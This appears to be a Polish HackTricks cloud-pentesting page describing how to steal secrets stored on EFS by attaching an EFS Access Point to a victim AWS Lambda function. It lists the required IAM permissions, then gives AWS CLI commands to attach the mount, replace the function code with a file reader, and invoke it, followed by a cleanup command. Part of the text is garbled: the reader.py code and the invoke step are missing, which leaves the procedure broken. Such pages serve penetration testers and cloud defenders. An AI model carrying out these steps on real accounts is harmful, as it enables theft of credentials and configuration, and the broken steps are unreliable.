# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Kradzież danych) {{#include ../../../../banners/hacktricks-training.md}} Nadużyj `lambda:UpdateFunctionConfiguration`, aby dołączyć istniejący EFS Access Point do funkcji Lambda, a następnie wdroż prosty kod, który listuje/odczytuje pliki z zamontowanej ścieżki, aby wyeksfiltrować współdzielone sekrety/konfiguracje, do których funkcja wcześniej nie miała dostępu. ## Wymagania - Uprawnienia na koncie/principalu ofiary: - `lambda:GetFunctionConfiguration` - `lambda:ListFunctions` (to find functions) - `lambda:UpdateFunctionConfiguration` - `lambda:UpdateFunctionCode` - `lambda:InvokeFunction` - `efs:DescribeMountTargets` (to confirm mount targets exist) - Założenia środowiska: - Target Lambda is VPC-enabled and its subnets/SGs can reach the EFS mount target SG over TCP/2049 (e.g. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it). - The EFS Access Point is in the same VPC and has mount targets in the AZs of the Lambda subnets. ## Atak - Zmienne ``` REGION=us-east-1 TARGET_FN= EFS_AP_ARN= ``` 1) Dołącz EFS Access Point do funkcji Lambda ``` aws lambda update-function-configuration \ --function-name $TARGET_FN \ --file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \ --region $REGION # wait until LastUpdateStatus == Successful until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done ``` 2) Zastąp code prostym czytnikiem, który wypisuje pliki i odczytuje pierwsze 200 bajtów potencjalnego pliku secret/config ``` cat > reader.py </dev/null cat /tmp/efs-out.json ``` Wyjście powinno zawierać listing katalogu pod /mnt/ht oraz krótki podgląd wybranego secret/config file z EFS. ## Wpływ Atakujący posiadający wymienione uprawnienia może zamontować dowolne in‑VPC EFS Access Points w funkcjach Lambda ofiary, aby odczytać i exfiltrate współdzieloną konfigurację oraz secrets przechowywane na EFS, które wcześniej były dla tej funkcji niedostępne. ## Czyszczenie ``` aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true ``` {{#include ../../../../banners/hacktricks-training.md}}